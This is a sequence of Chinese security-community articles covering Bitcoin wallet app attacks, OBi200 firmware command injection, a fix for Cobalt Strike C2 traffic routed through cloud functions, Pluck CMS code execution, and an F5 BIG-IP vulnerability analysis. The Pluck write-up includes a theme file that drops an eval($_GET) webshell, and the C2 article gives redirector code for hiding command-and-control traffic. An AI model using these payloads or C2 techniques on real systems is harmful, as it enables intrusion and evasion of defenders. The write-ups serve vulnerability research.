SPV客户端使用的比特币地址可以被视为其唯一的钱包指纹，这有两个原因。首先，比特币地址冲突（即，不同钱包使用的比特币地址）仅在下一个千年中发生。其次，本文攻击可以准确地发现SPV客户端使用的所有比特币地址，因为攻击者可以将攻击中的误报率（攻击者错误地标识比特币地址的概率）自由地降低到10^(-5K)，其中K为已发起的Wi-Fi取消身份验证攻击的数量。实际上，由于隐私问题，用户可能会增加默认的误报率。但是，此攻击仍然可以容纳较高的默认识别率。例如，如果将比率设置为50％，则攻击者可以通过发起10次攻击来将比率显着降低到0.097％。
这种攻击可能不切实际，因为它要求攻击者部署监视摄像头和Wi-Fi网络以监视智能手机用户的活动。尽管攻击者在某些公共场所发起这种攻击并在特定时间段（例如几个小时）内监视移动用户并不是很困难。但是，如果受监视的用户在攻击时间内未访问任何Wi-Fi呼叫服务，则攻击者无法将比特币钱包应用程序所有者的身份匿名化，也无法将身份与比特币钱包指纹（即使用的比特币地址）相关联。因此，攻击者没有动力大规模发起这种攻击，因此这种攻击在现实世界中的影响是有限的。
由于三个原因，情况并非如此。首先，根据最近的报告/研究，比特币是犯罪分子用来绕过货币和执法机构监督以欺诈用户、勒索赎金的方法。为了有效防止犯罪分子破坏金融秩序和阻止网络攻击，监管者有动机去发现比特币钱包用户的真实身份。第二，如今，为了公共安全起见，在日常生活中观察监视摄像机并不罕见。例如，在伦敦（英国）和北京（中国）分别部署了约627,000和1,150,000闭路电视摄像机。此外，在某些国家/地区，例如中国，美国（芝加哥，底特律），政府已应用面部识别技术和部署的监视摄像机来追踪罪犯。第三，在万物互联的时代，一些城市（例如，纽约，莫斯科，香港，汉城，巴黎）和国家（例如，英国，瑞士，新加坡，丹麦）已为其居民部署了公共Wi-Fi热点。最新的报告预测，全球公共Wi-Fi热点的数量将从2018年的1.69亿个热点增加到2023年的6.28亿个，增长了四倍，约有71％的移动通信流向Wi-Fi，这导致Wi-Fi通话市场的需求上升。为了抵御非法金融交易/交易，监管者有动机发起比特币去匿名攻击。但是，这并不意味着无论出于何种原因都可以损害比特币钱包App用户的隐私。
### B.反射和放大比特币垃圾信息攻击
该攻击旨在利用良性的比特币全节点客户端向受害者引入持续的、不必要的比特币流量（例如14-20 MB
/小时），这会导致蜂窝网络数据账单增加和功耗增加96％。通过利用V2，攻击者可以执行比特币钱包应用程序，以从连接的比特币FNC连续下载不需要的比特币交易。
**攻击者的假设：** 攻击者可以拦截和修改受害者与受害者连接的比特币FNC之间传输的比特币消息。
**攻击设计：** 此攻击的工作方式如下，首先拦截由比特币钱包应用程序（例如，Bitcoin
Wallet）发送到连接的比特币FNC的filterload消息。其次，攻击者可以通过将字段Data和nFlags分别更改为0xFF..FF和0来修改拦截的filterload消息，因为该消息不支持加密和完整性保护。这些修改用于告知比特币全节点客户端，即用户对所有比特币交易都感兴趣。攻击者进一步将该欺骗信息发送给比特币FNC。
**实施攻击：**
通过在Trudy之上开发一个BitCoinTrudy服务器来实施此攻击。在受害者和比特币FNC之间部署了BitCoinTrudy服务器，这帮助攻击者识别并拦截了filterload消息，修改了Data和nFlag字段，相应地更新了Bitcoin消息的校验和和TCP校验和，并将欺骗性的filterload消息传递给了连接的比特币FNC。
攻击评估：用两个指标评估了垃圾信息攻击的危害，（1）垃圾信息流量和（2）受害者手机的功耗。评价实验如下进行。首先在使用Android
8.1.0的两台Google Pixel
XL手机上安装了经过测试的比特币钱包应用程序（即，比特币钱包）。其次，通过比特币钱包创建了两个比特币账户。第三，启动了比特币钱包和电池消耗监视工具（即Batterystats），该工具连续监视两台经过测试的智能手机上的电池使用情况。记录了两个经过测试的智能手机的比特币流量和功耗。第四，使用开发的BitCoinTrudy对一台经过测试的智能手机发起了设计好的比特币垃圾信息攻击。当受害者的电池电量耗尽时，实验停止。
**1）垃圾信息流量：** 上图a-c分别绘制了每小时比特币垃圾信息流量，累积的比特币垃圾信息流量以及在受害者身上观察到的放大系数。有三个观察结果。首先，受到攻击的手机每小时将接收14-20
MB的比特币流量，而不受攻击的手机每小时将仅接收1-2 MB的比特币流量。其次，在10小时的实验中，受害者的手机接收到约164
MB的内存，而不受攻击的手机仅接收了16
MB的内存。这表明攻击者可以向受害者连续产生比特币垃圾信息流量。如果受害者正在使用蜂窝网络数据服务访问比特币网络，则他们必须为垃圾信息流量支付费用。第三，在实验结束时，攻击放大系数增加到3666左右。请注意，垃圾信息不必要的流量来自攻击期间所有全球比特币用户产生的新比特币交易。因此，当更多的用户使用比特币服务时，该系数可能会增加。
**2）功耗：** 处于和未处于10小时垃圾信息攻击之下的电话的功耗结果如上图d所示。结果表明，受到攻击的手机比没有受到攻击的手机消耗的功率多96％。
此攻击的主要特点是为攻击者提供新的攻击媒介，以向移动用户发起持续的垃圾信息流量，攻击成本低（每小时4.5
KB比特币消息），但是攻击破坏比成本要大（每小时14-20 MB）。受害人遭受了增加的移动服务费用和更短的智能手机电池寿命的困扰。
### C.手机比特币钱包欺诈攻击
根据V3，在移动设备上开发了一个非P2P比特币钱包，以发起比特币欺诈攻击，该攻击会在未经用户同意的情况下将BTC秘密地从一个地址转移到另一个地址。使用非P2P钱包打破了比特币的分布式设计原则，该原则可以保护用户钱包。借助集中式服务模型，钱包服务提供商无需他们的批准即可轻松操纵其用户的比特币帐户。特别是，开发了非P2P比特币钱包智能手机应用程序MyBitcoin，其中包括客户端和服务器。客户端是一个简单的Android应用程序，为用户发送和接收BTC提供了简单的用户界面。该服务器支持比特币钱包和网络路由功能。
MyBitcoin客户端首先通过HTTPS与服务器连接，然后服务器又通过比特币协议与比特币网络连接。评估表明，MyBitcoin用户可以成功地将BTC转移到其他比特币地址，而不会出现任何问题。这证实了比特币网络没有采用其他安全机制来在实践中防止违反比特币去中心化。
由于用户通常会选择下载次数很多或评分较高的应用程序，因此可以积极地将这种恶意钱包应用程序推广给用户。分析了流行的比特币钱包应用程序Mycelium的下载后发现，一旦下载量大于1,000，下载量的增长率就会大大提高。在其他比特币应用程序上也有类似的观察。换句话说，如果攻击者可以将下载数量增加到一千以上，则预计会有更多的受害者下载应用程序。实际上，对于实现这一目标的攻击者而言，这在技术上并不具有挑战性。许多公司（例如MobiRink）提供促销服务，从而增加了应用程序下载量和对特定应用程序的正面评价。根据与这些促销公司的讨论，为特定应用程序增加500次下载和100条正面评论仅花费不到100美元。一旦受害者安装了恶意应用程序，他们将遭受各种比特币钱包欺诈攻击。但是，不幸的是，由于IRB的限制，无法开发真正的恶意比特币钱包应用程序并评估其对现实世界的负面影响。因此本文提供了对该比特币钱包欺诈攻击的详细分析，并将其与其他类型的欺诈攻击进行了比较，如下所示。
**与其他欺诈攻击的比较：**
这种攻击不需要复杂的攻击技术，但是与其他类型的金融欺诈攻击（1）手机移动银行欺诈攻击和（2）手机移动支付欺诈攻击相比，此攻击的负面影响是深远的。前一种攻击旨在获取受害者的用户名和密码，并通过部署伪造的移动银行应用程序（例如，Chsae是Chase应用程序的伪造版本）进一步窃取受害者的存款。后一种攻击旨在通过部署类似于Paypal，Venmo，CashApp的恶意在线支付应用程序，从受害者的银行帐户中窃取受害者的存款或未经受害者批准使用信用卡。从四个方面将设计的比特币欺诈攻击与这两种攻击进行了比较：（1）部署难度，（2）信用交易，（3）借记交易和（4）欺诈保护。
比较结果总结在上表中，有四个观察结果。首先，比特币钱包手机App欺诈攻击的部署难度低于其他攻击。对于手机移动银行欺诈攻击，伪造的移动银行应用程序（例如Chsae）需要通过由移动应用程序商店（例如Google
Play和Apple
Store）进行的检查。对于手机移动支付欺诈攻击，由于转账通常仅限于使用相同移动支付应用程序的用户，因此新的移动支付应用程序在短时间内拥有大量客户并不容易。其次，移动银行/支付欺诈应用程序的用户资金存入用户的银行帐户，而移动比特币钱包欺诈应用程序的用户资金存入攻击者的比特币地址。第三，所有这些攻击都能够在无需用户批准的情况下将受害者的资金转移到其他帐户。但是，移动银行和移动支付攻击对可转移金额有限制，而比特币钱包欺诈攻击则没有。此外，比特币钱包欺诈攻击可以阻止受害者接收有关欺诈交易的任何警报，但是，由于警报是由受害者的金融机构（例如，Chase，Citi）提供的，因此其他两种攻击无法实现攻击者的控制。第四，移动比特币钱包欺诈攻击的受害者不太可能将攻击者窃取的钱（即BTC），因为在许多国家，比特币不是受政府保护的资产，而其他两种攻击的受害者可能仍然拥有通过向银行提起争议来弥补损失的机会。例如，对于美国的信用卡用户，他们通常不需要通过提起争议来为异常交易付费。
## 0x05 Solution: Bitcoin Security Rectifier
本研究开发了基于电话的Bitcoin Security
Rectifier（一种App）来解决/缓解已发现的漏洞；这种方法不需要对现有的比特币协议标准，比特币钱包应用程序，库和钱包服务操作进行任何修改。此方法受两个因素设计。首先，修订比特币协议标准非常耗时，不太可能在短时间内将其存档并更新到整个比特币生态系统。其次，由于商业原因，比特币钱包应用服务提供商可能不愿意改变其当前的运营/设计。
**设计：** Bitcoin Security
Rectifier将检查所有传入和传出的比特币消息，并采取以下措施。对于V1，如果正在检查的比特币消息是外发的flliterload消息，它将首先将该消息保存到内存中，称为orig-filterload，然后创建一个副本并添加10*N不属于该用户的比特币地址到Bloom过滤器，其中N是用户已添加到orig-filterload的Bloom过滤器的比特币地址数。修改的flliterload消息称为modified-filterload。最后，modified-filterload将发送到比特币网络。使用这种方法，攻击者无法从受害者那里获得low-false positive-rate的Bloom过滤器（针对隐私泄漏攻击）。对于V2，Rectifier通过利用缓存的modified-filterload来检查带有Inv消息的比特币交易是否符合SPV客户的利益，并计算和监控实际的误报率。如果与FNC相关联的实际误报率高于先前配置的误报率，则Rectifier将强制SPV客户端与FNC断开连接，因为FNC可能已被攻击者滥用以发起垃圾信息攻击。对于V3，如果已启动比特币钱包应用程序，并且在预定义的时间段（例如5分钟）内未观察到比特币消息，则会向用户发送警告消息。
**执行：** 提出的Bitcoin Security
Rectifier是用Java编写的，并且是在Android智能手机上开发的。Rectifier由两个组件组成，即比特币消息抓取器和比特币安全整改器。比特币消息抓取器是一种轻量级的特定于比特币的抓取服务，该服务在智能手机的NetWorkPacktCapture
VPN
上实现，仅拦截比特币消息。对于其他类型的数据包集，它们将直接路由到目的地。比特币安全纠正会检查截获的比特币消息，并在需要时修改比特币消息。请注意，开发的Rectifier不需要root特权，但需要BIND_VPN_SERVICE的许可。
**评估：** 评估实验的设置如上图所示。首先，将Bitcoin Security
Rectifier安装在经过测试的智能手机上。其次，部署了一个服务器，以在为经过测试的智能手机提供服务的Wi-Fi网络上发起比特币去匿名攻击。第三，在经过测试的智能手机和与之连接的比特币全节点客户端之间部署了服务器，以发起比特币垃圾信息攻击。第四，在经过测试的手机上，安装了应用程序MyBitcoin来模拟比特币欺诈攻击。
评估结果如上图所示。对于比特币去匿名攻击，Rectifier可以拦截具有低默认误报率的Bloom过滤器，并通过添加不属于受害者的比特币地址来保护它（请参见图a
）。因此，攻击者无法准确推断受害者拥有的所有比特币地址。对于比特币垃圾信息攻击，图b显示Rectifier可以拦截收到的恶意比特币库存消息，对其进行检查，并与恶意比特币FNC断开连接。对于比特币欺诈攻击，图c确认Rectifier已成功检测到用户是否使用非P2P比特币钱包应用程序，并为用户提供了安全警告。
## 0x06 Conclusion
如今，Coinbase，Luno，Bitcoin
Wallet等比特币钱包App越来越受欢迎。在这项工作中，研究了10种最受欢迎的比特币钱包App的安全隐患。在这些研究的应用程序中发现了三个安全漏洞。通过利用它们，设计了三种概念验证攻击，攻击者可以利用这些攻击（1）对用户的真实身份，比特币地址和交易进行匿名处理；（2）向受害者引入持续的有害比特币垃圾信息流量；（3）启动比特币欺诈攻击以利用比特币钱包用户。分析表明，这些安全漏洞的根本原因是由于比特币钱包应用程序的不正确实施以及钱包服务提供商的运营失误。进一步开发了手机端的Bitcoin
Security Rectifier，以帮助用户防御已识别的安全威胁，而无需修改当前的比特币协议，基础设施以及钱包应用程序和服务。 | 社区文章 |
# 【技术分享】逆向集成在谷歌语音程序中的OBi200固件: 第一部分
|
##### 译文声明
本文是翻译文章，文章来源：randywestergren.com
原文地址：<https://randywestergren.com/reverse-engineering-obi200-google-voice-appliance-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[hacker2017](http://bobao.360.cn/member/contribute?uid=1210592773)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
由Obihai公司出品的 **OBi200** 是一个和谷歌语音集成在一起的家庭 **VoIP网关**
。它支持大多数标准VoIP功能，并且可以与几乎任何“便携式”SIP服务集成。我今年早些时候购买了一台，作为我家里的座机（无月租），到目前为止，运转的相当不错。但在完全安装之前，我决定深入了解它的工作原理。
**
**
**固件分析**
我插入设备并打开了Web界面。我做的第一件事是检查刷入的固件版本：
通过上图可以看到，OBi200被刷入的固件版本是3.0.1 (Build: 4492)。通过Obihai 官网发现最新版本是3.1.1 (Build:
5463EX)，显然这是一个旧版固件。这里我并不打算马上更新到新版，我准备检查一下旧版固件是否有被修补过的漏洞。
接下来我在我在Obihai官网下载了该固件。虽然并没有找到完全一致的固件版本，但是找到了一个非常接近的版本3.0.1 (Build:
4738)。用[binwalk](https://github.com/devttys0/binwalk)对固件进行扫描，结果如下:
通过扫描结果可以看到，该固件包含几个 **Squashfs** 文件镜像以及一个 **ARM** 文件镜像。看来一切都有希望进行进一步探索,
因此我把他们导出到我本地文件系统里进行研究。
通过文件系统，我能够更多地了解设备的底层实现。这里查看/etc/passwd文件，内容如下：
如上所示，root账户并没有被设置密码。启动脚本/etc/rc也包含一些有趣的信息，如下:
/bin/swcfg -pw 0 0 0 0x3800
hostname OBi202
#hostname FFxAV
mount -t proc proc /proc
# Create /var on RAM disk
mount -t ramfs none /var
mkdir /var/lib
mkdir /var/run
mkdir /var/log
mkdir /var/ppp
mkdir /var/tmp
cp -p /etc/ppp.ori/* /var/ppp
touch /var/tmp/resolv.conf
#
#mount -t squashfs /dev/mtdblock7 /obi
# Making the /etc directory point to MTD4
# mount -t jffs2 /dev/mtdblock4 /etc -o sync
# Making the /etc directory point to MTD4
# mount -t jffs2 /dev/mtdblock4 /scratch -o sync
# gateway begin
mount -t sysfs none /sys
mkdir /var/run/ppp -p # needed by pppd
mkdir /var/log/ppp -p
mkdir /var/lock # needed by wvdial
#echo "******** Start udev"
mount -n -t tmpfs -o mode=0755 udev /dev
cp -a -f /dev0/* /dev
# It's all over netlink now
if [ -e /proc/sys/kernel/hotplug ]; then
echo "" > /proc/sys/kernel/hotplug
fi
#udevd --daemon
#echo "start monitor"
#udevadm monitor -e >/dev/.udev.log &
#UDEV_MONITOR_PID=$!
#echo "start trigger"
#udevadm trigger
#echo "start settle"
#udevadm settle
#kill $UDEV_MONITOR_PID
mount -t tmpfs none /dev/shm -o size=512K
mount -t devpts none /dev/pts
#mknod -m 644 /dev/urandom c 1 9
#chown root /dev/urandom
echo "******** Start syslogd"
touch /var/log/messages
syslogd
# gateway end
# Start network device
cd /etc
#. ./rc.net &
. ./rc.net
cd /
echo "===> Obi <==="
cd /obi
#cd /usr/local/obi
./obi &
如上文件内容所示，被注释掉的一些调试/开发信息，泄露了设备的一些调试环境。在进行初始化设置后,
脚本将目录切换到包含所有原始二进制文件的/obj/目录，并启动主obi脚本 (最终是obiapp二进制文件)。
**
**
**弹出SHELL**
通过搜索上面的文件名，我发现了去年有篇文章披露了Obihai公司OBi1000电话产品的一系列漏洞。由于在一个PoC中提到了obiapp二进制文件，并且在Obi200中找到了类似的URI结构，所以在两个产品中似乎有一些共同的代码。我测试了我的设备上的命令注入漏洞，并确认可以重新启动设备：
接下来，我尝试启动telnet守护程序，但是经过几次尝试，我发现端口23被设备专门阻止。我最终能够得到一个在另一个端口上运行telnetd的根shell：
**
**
**其他的命令注入点**
我很好奇是否还有其他类似的命令注入点，因此我决定继续深入探索一下。我用IDA反汇编了obiapp二进制文件，并找到了上述checkssid请求的关键点。在附近的地方，我发现了几个不同的请求：
然后得到其他的PoC如下:
请注意，上述第二个请求的格式略有不同，这是因为进程在把参数传递给system()函数前有解码操作。
**
**
**继续Root**
在新版固件中似乎修补了上面披露的漏洞 (后来我证实了), 不过我想在更新固件后继续研究，看是否能对设备进行Root。 我认为获得设备的控制台访问SHELL
是我最好的选择,因此我通过检索dmesg命令的返回数据来搜索串行接口:
如上图所示，有个串行接口/dev/ttyS0——-现在只需要在电路板上找到这个调试端口就可以了。
本文的第2部分, 我将着重于描述识别和连接主板的UART引脚，以便通过控制台来访问设备。 | 社区文章 |
# 关于云函数无法回显的解答
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前两天笔者写了一篇文章：Red Team 又玩新套路，竟然这样隐藏 C2（https://www.anquanke.com/post/id/239180）
有读者之后反馈，照着文中的方法做，虽然可以上线，但是发送命令不能正常回显。
笔者重新看了一下之后发现，确实存在这个问题，因此写出这篇文章，记录一下定位问题的过程，给出解决方案。
有些童靴可能没时间细看，笔者在此总结下，主要是以下两个问题导致云函数不能正确回显数据：
1. 云函数自动编码
2. 增加 post 参数传递
下面，我会详细写出问题的定位流程以及最后的解决方案。
## 问题定位
首先，访问下载配置文件的 URL，发现可以正常下载。通过主机可以正常上线可知，云函数的 get 转发应该是正常的。
打开 beacon 指令页面，发送一下数据看看。
发现出现了如下字样：
这意味着什么呢？意味着被控机已经收到了指令。
指令显示受控机已经呼叫了服务器，且发送了 19 byte 的数据。
但是在返回执行指令的结果数据时，转发出现了问题。
查看受控端发送的 post 数据包如下：
发现受控端正常 post 了数据，云函数也正常返回状态 200。
那应该是云函数出现了问题。
查看了一下云函数的 post 日志:
原来是云函数擅自将 body 字段的数据进行 unicode 编码了。
推测是因为 byte 的二进制字段没办法放入云函数的 dict 字典中。
所以，这里需要修改 post 上传包的 body 字段，自己手动编码一下，然后再解码后转发给 CS 服务器。（解决方案参见下文“修改方法”中的方法一）
再试一下，发现还不行。
再次进行抓包，发现 CS 的上线包 post 是带参数传输的，如图所示：
而我们在云函数中没有传递这个参数，导致虽然受控机接收到了命令，且正确发送了数据，但是云函数转发的时候丢失了这个参数，即 id=85774 这个参数。
在云函数中加上就好了。（解决方案参见下文“修改方法”中的方法一）
这样之后就能正确回显了。
另外，有读者表示，可以直接使用 api 网关进行转发。
这个思路很好，也比较简单，相较于云函数来说更容易部署。
不过笔者没有时间去复现了，不知道会出现什么问题。
云函数有更多的可拓展性，因为原则上来说，云函数可以对数据进行任意变换，甚至可以加解密等，可以对流量有更好的保护。
## 修改方法
### **// 方法一**
1\. 开启网关 base64 编码，并在函数中 base64 解码，body=base64.b64decode(body) 。
在网关设置中开启 base64 编码，然后只设定特定 header 触发（不然会把 get 请求也进行 base64 编码）。
然后在函数中解码传输就好了，如下：
2\. 增加参数传递函数。
params=event[‘queryString’]
resp=requests.post(cs_server_address+path，headers=headers，data=body，timeout=20，params=params)
如图所示
### **// 方法二（懒人版）**
开启网关 base64 编码，在网关设置中开启 base64 编码，然后只设定特定 header 触发（不然会把 get 请求也进行 base64 编码）。
然后直接复制（云函数）代码到云函数，记得更改自己的上线地址。（关注公众号“微步在线研究响应中心”，回复“云函数”，可获取完整云函数代码。）
## 总结
笔者本意是想通过攻击复现，帮助大家明白 RT 的各种隐藏 C2 的技巧，方便之后做对应的防守策略。
其实，实际过程中 RT 可能使用各种方法综合进行隐匿, 详情可参见[：红队攻防基础建设-神隐之路 –
安全客，安全资讯平台](https://link.zhihu.com/?target=https%3A//www.anquanke.com/post/id/239640%25EF%25BC%258C%25E4%25BD%259C%25E8%2580%2585%25E4%25BE%259D%25E7%2584%25B6%25E6%2598%25AF%25E6%2588%2591%25E4%25BB%25AC%25E7%259A%2584%25E8%2580%2581%25E6%259C%258B%25E5%258F%258B%25E3%2580%258C%25E9%25A3%258E%25E8%25B5%25B7%25E3%2580%258D)，作者依然是我们的老朋友「风起」。
上篇文章发出后，有很多读者选择亲自动手去尝试，这个精神很好！笔者也是看到有些读者有疑问，不想直接无视，所以在某个下午继续探究了下这些问题并做出解答。
然而，不希望大家在尝试成功之后，将该类攻击用作除了 Red vs Blue
外的其他用途。若有用作任何违法用途，与本文无关。互联网并非法外之地，即使使用该方法隐藏 C2，我们依然有方法溯源到人，望耗子尾汁。
> 本文作者：微步在线情报组，获取完整云函数代码请关注微信公众号“微步在线研究响应中心”，回复关键词【云函数】 | 社区文章 |
## 前言
本来是在cnvd上看到了有人发Pluck CMS的洞，但是没有公开细节，便想着自己挖一下。
但是审完第一个后发现已经有两位同学写出来了
[Pluck CMS 4.7.10远程代码执行漏洞分析](https://xz.aliyun.com/t/6486)
[Pluck CMS 4.7.10 后台 文件包含+文件上传导致getshell代码分析](https://xz.aliyun.com/t/6543)
当时自己的思路跟第一个同学一样，第二个同学的思路自己确实没有想到，佩服佩服。
但是心有不甘，自己就继续挖掘了一下，又发现了两处可以任意命令执行的地方。
## 正文
### 第一处：过滤不严导致单引号逃逸
这个跟第一篇思路一样，只不过找到了另一处未过滤的点
在`function.php`里面`blog_save_post()`函数
function blog_save_post($title, $category, $content, $current_seoname = null, $force_time = null) {
//Check if 'posts' directory exists, if not; create it.
if (!is_dir(BLOG_POSTS_DIR)) {
mkdir(BLOG_POSTS_DIR);
chmod(BLOG_POSTS_DIR, 0777);
}
//Create seo-filename
$seoname = seo_url($title);
//Sanitize variables.
$title = sanitize($title, true);
$content = sanitizePageContent($content, false);
if (!empty($current_seoname)) {
$current_filename = blog_get_post_filename($current_seoname);
$parts = explode('.', $current_filename);
$number = $parts[0];
//Get the post time.
include BLOG_POSTS_DIR.'/'.$current_filename;
if ($seoname != $current_seoname) {
unlink(BLOG_POSTS_DIR.'/'.$current_filename);
if (is_dir(BLOG_POSTS_DIR.'/'.$current_seoname))
rename(BLOG_POSTS_DIR.'/'.$current_seoname, BLOG_POSTS_DIR.'/'.$seoname);
}
}
else {
$files = read_dir_contents(BLOG_POSTS_DIR, 'files');
//Find the number.
if ($files) {
$number = count($files);
$number++;
}
else
$number = 1;
if (empty($force_time))
$post_time = time();
else
$post_time = $force_time;
}
//Save information.
$data['post_title'] = $title;
$data['post_category'] = $category;
$data['post_content'] = $content;
$data['post_time'] = $post_time;
save_file(BLOG_POSTS_DIR.'/'.$number.'.'.$seoname.'.php', $data);
//Return seoname under which post has been saved (to allow for redirect).
return $seoname;
}
其中
$data['post_title'] = $title;
$data['post_category'] = $category;
$data['post_content'] = $content;
$data['post_time'] = $post_time;
$title $content 均被过滤，$post_time不可控，$category可控
所以只要把$cont2变成我们的payload即可
### 第二处：安装模版+文件包含导致任意命令执行
很多CMS都会在安装模版的时候getshell，那么这里笔者也发现了类似的漏洞。
#### 直接访问失败
首先准备一个`shell.php`里面是我们的`phpinfo();`
然后打包成`shell.zip`，直接上传主题
发现确实上传并且解压成功
但是由于目录下有`.htaccess`文件，直接把php设置为不可解析，所以无法直接访问
#### 文件包含突破
所以就想到需要找一个位置对其进行包含，来达到执行的目的。
首先看到`admin.php`中关于`theme`的部分
跟进 `data/inc/theme.php`，发现调用了`get_themes()`方法
跟进 `functions.all.php`，查看`get_themes()`方法
function get_themes() {
$dirs = read_dir_contents('data/themes', 'dirs');
if ($dirs) {
natcasesort($dirs);
foreach ($dirs as $dir) {
if (file_exists('data/themes/'.$dir.'/info.php')) {
include_once ('data/themes/'.$dir.'/info.php');
$themes[] = array(
'title' => $themename,
'dir' => $dir
);
}
}
return $themes;
}
else
return false;
}
发现会遍历`data/themes/`下所有主题目录，并且包含他的`info.php`文件
此时`info.php`可控，就导致了任意代码执行。
#### 利用方法
首先准备一个`info.php`
<?php
file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));
?>
然后打包压缩成`shell.zip`
上传安装主题，然后点击回到主题页，此时触发文件包含。
然后根目录下就会生成我们的一句话x.php，密码是mr6
## 最后
**本人水平有限，文笔较差，如果有什么写的不对的地方还希望大家能够不吝赐教** | 社区文章 |
# CVE-2021-22986：F5 BIG-IP iControl REST未授权远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Lucifaer@360CERT
## 0x01 漏洞概述
F5 BIG-IP在今年3月补丁日中修复了 `CVE-2021-22986` ，未经身份验证的攻击者可以向 `iControl REST`
发送精心构造的恶意请求，最终在目标服务器上执行任意命令。
## 0x02 环境配置
[F5 BIG-IP官方](https://downloads.f5.com/esd/productlines.jsp) 提供了对应版本的 `Virtual
Edition` 版本，所以直接下载导入到 `vmware`
中即可。本篇所使用的漏洞版本为16.0.1，diff版本为16.0.1.1。具体的步骤及操作可以参考[这篇文章](https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-ve-setup-vmware-esxi-13-1-0/3.html)进行基础配置，完成F5 BIG-IP的启动。
### 2.1 允许ssh远连
可以根据[这篇文章](https://support.f5.com/csp/article/K5380)配置允许ssh远连，这里推荐直接用 `tmsh`
来进行配置。
### 2.2 寻找具体服务
在F5 BIG-IP中， `TMUI` 与 `iControl REST` 是部署在不同的端口上的。我们可以看一下我们访问的443端口的服务是什么：
可以看到是由Apache httpd进行请求承接，并将请求转发到不同端口的服务上完成对应的处理。我们可以看一下httpd的配置文件，在
`/config/httpd/conf/httpd.conf` ：
这里可以注意到两点：
* AuthPAM开启，说明调用了httpd的某个 `.so` 文件进行预先的认证
* 将所有向 `/mgmt` 发送的请求都转发到了 `http://localhost:8100/mgmt/`
通过阅读官方文档，我们可以知道所有REST API的目录前缀都是含有 `mgmt` 的，所以可以看一下8100端口的服务及其进程信息是什么：
可以看到其 `classpath` 为 `/usr/share/java/rest/` 目录。之后我们可以通过 `PID` 在 `/proc/`
目录下查看进程信息：
这样也知道了进程运行目录为 `/var/service/restjavad` 。
### 2.3 允许远程调试
根据2.2中找到的进程信息，我们直接到 `/var/service/restjavad` 目录，然后向运行文件中添加相关的jdwp配置：
这里看到运行文件为 `/etc/bigstart/scripts/restjavad` ，直接修改该文件即可：
当添加完jdwp配置后，还需要利用 `tmsh`
将jdwp监听端口8777开放出去，这里可以直接参考[这篇文章](https://medium.com/@m01e/cve-2020-5902-f5-big-ip-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1e50e24e0415)。这里为了防止链接失效，截一个这篇文章的关键图：
### 2.4 导出分析代码
在2.2中已经进行了详细的叙述，直接把 `/usr/share/java/rest/` 下的代码导出就行了。如果遇到无法导出的问题，可能是由于 `/usr`
目录无写权限，重新挂载一下 `/usr` 即可：
mount -o remount w /usr
## 0x03 diff信息
### 3.1 ssrf
### 3.2 命令执行
## 0x04 漏洞分析
该漏洞可以分解为两部分：
* 认证绕过
* 命令执行端点
该漏洞有两种方式可以达成认证绕过：
* 认证不完全导致绕过
* ssrf获取token导致认证绕过
本文将使用动静态跟踪结合的方式，将两部分进行串流分析。
### 4.1 iControl REST处理逻辑
在开始分析认证绕过前，首先来分析一下程序执行流。
#### 4.1.1 RestServerServlet
`RestServerServlet` 是整个 `iControle REST` 的入口，首先看一下其 `service` 方法：
从 `service` 方法中，可以获得以下几个信息：
* `RestServerServlet` 以异步执行，并注册了一个 `ReadListener`
* 在处理请求时，为每一个请求创建了一个 `RestOperation`
* 因为向 `RestOperation` 注册了一个 `RestRequestCompletion` ，后续逻辑将以回调的方式执行
由于是注册了 `ReadListener` ，所以我们直接跟进看
`com.f5.rest.app.RestServerServlet.ReadListenerImpl#onAllDataRead`
（具体原因可以看[ReadListener官方文档](https://docs.oracle.com/javaee/7/api/javax/servlet/ReadListener.html)）：
跟进看一下
`com.f5.rest.common.RestOperationIdentifier#setIdentityFromAuthenticationData`
：
这里会监测请求中是否包含相关认证，并将其设置到 `RestOperation` 中。注意这里涉及到两种身份设置方法，第一种是检测是否存在
`X-F5-Auth-Token` ，第二种是通过Basic认证来设置身份。其中 `setIdentityFromBasicAuth` 即为diff点：
在 `setIdentityData` 中只会判断Basic头信息中是否存在 `username` ，当存在时，将 `userReference` 初始化为
`/mgmt/shared/authz/users/[username]` 。
在完成设置后，便会执行 `completion.run()` 方法，即：
关键逻辑为 `com.f5.rest.common.RestServer#trySendInProcess` ：
其中会根据请求端口来寻找相关的 `RestWorker` ，并执行 `OnRequest` 方法。这里因为是 `8100` 端口，其映射为
`RestServer` 对象：
在 `findWorker()` 方法中，将以请求的路径为查询条件，匹配 `RestServer` 的 `pathToWarkerMap` 。之后便会执行
`worker.onRequest()` 方法，在这里会将worker添加到 `RestServer.readyWorkerSet` 中。后面会以该
`Set` 为消费者队列，并执行各个worker。
#### 4.1.2 RestServer
`RestServer` 中主要工作是维护队列，并执行相关的worker。入口点为其构造方法：
这里明显为一个消费者，所以直接看 `callRestMethodHandler` 即可，一路向下跟进到 `callDerivedRestMethod`
方法：
这里即会调用对应worker的处理方法并完成对应的链调用。
### 4.2 认证绕过
该漏洞的重点是认证绕过这一部分，两种绕过方式采用了不同的思路，本篇主要分析第二种绕过方式，针对第一种方式只进行基础的分析，如果想要了解详情，可以阅读[斗象的研究文章](https://blog.riskivy.com/f5%e4%bb%8e%e8%ae%a4%e8%af%81%e7%bb%95%e8%bf%87%e5%88%b0%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/)。
#### 4.2.1 认证不完全导致绕过
BIG-IP由两部分组成，首先是通过 `Apache httpd`
接收443的请求，并将请求转发给本地8100端口的Jetty服务，最终通过Jetty的servlet将不同的路由分发到不同的worker中，完成请求的处理。
而第一种利用方式正是利用了Jetty服务不会对通过httpd认证的请求进行二次认证的缺陷，导致了未认证的攻击者可以绕过认证访问任意worker，最终完成pre
auth rce。
在2.2中，从 `httpd.conf` 中已经看到 `httpd` 在进行转发时启用了 `AuthPAM` ，其具体的 `.so` 文件为
`/usr/lib/httpd/modules/mod_auth_pam.so` 。
用IDA分析一下逻辑：
